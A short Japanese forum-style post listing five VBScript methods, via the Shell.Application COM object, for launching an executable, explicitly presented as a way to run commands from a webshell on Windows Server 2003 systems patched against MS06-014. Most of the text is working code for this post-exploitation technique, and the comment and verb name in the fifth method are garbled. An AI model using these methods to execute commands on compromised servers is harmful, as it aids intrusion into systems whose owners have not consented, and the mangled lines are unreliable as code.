Shell.Appplicationが命令を実行する5つの方法のまとめ

当初はこのバージョンを書く時、簡単な二つの2003バージョンをテストしました。2003年にms 06014パッチを適用した可能性が高いと思います。Kkyoは氷点フォーラムで解決方法を提案しました。今日の午後、このコンポーネントを研究しました。5つの方法で命令を実行できることが分かりました。以下はvbsバージョンです。（asp版は提供されません。どうやってaspバージョンを利用して2003年のwebshellでコマンドを実行しますか？自分で解決します。-）：

 
Set objShellApp = CreateObject("Shell.Application") 
Set objFolder = objShellApp.NameSpace("c:\") 
objFolder.Items().item("demo.exe").invokeverb '  1 
objFolder.Items().item("demo.exe").InvokeVerbEx'  2 
objShellApp.Open("C:\demo.exe") '  3 

objShellApp.ShellExecute "demo.exe","","c:\","","1" '  4,            

'  5 
Set objFolderItem = objShellApp.NameSpace("C:\").Items().item("demo.exe") 
Set objFIVs = objFolderItem.Verbs() 
For i=0 To objFIVs.Count - 1 
'MsgBox objFIVs.Item(i) 
Set objFIV = objFIVs.Item(i) 
If objFIV.Name = "  (&O)" Then '           "  (&O)"，      
objFIV.DoIt 
Exit For 
End IF 
Next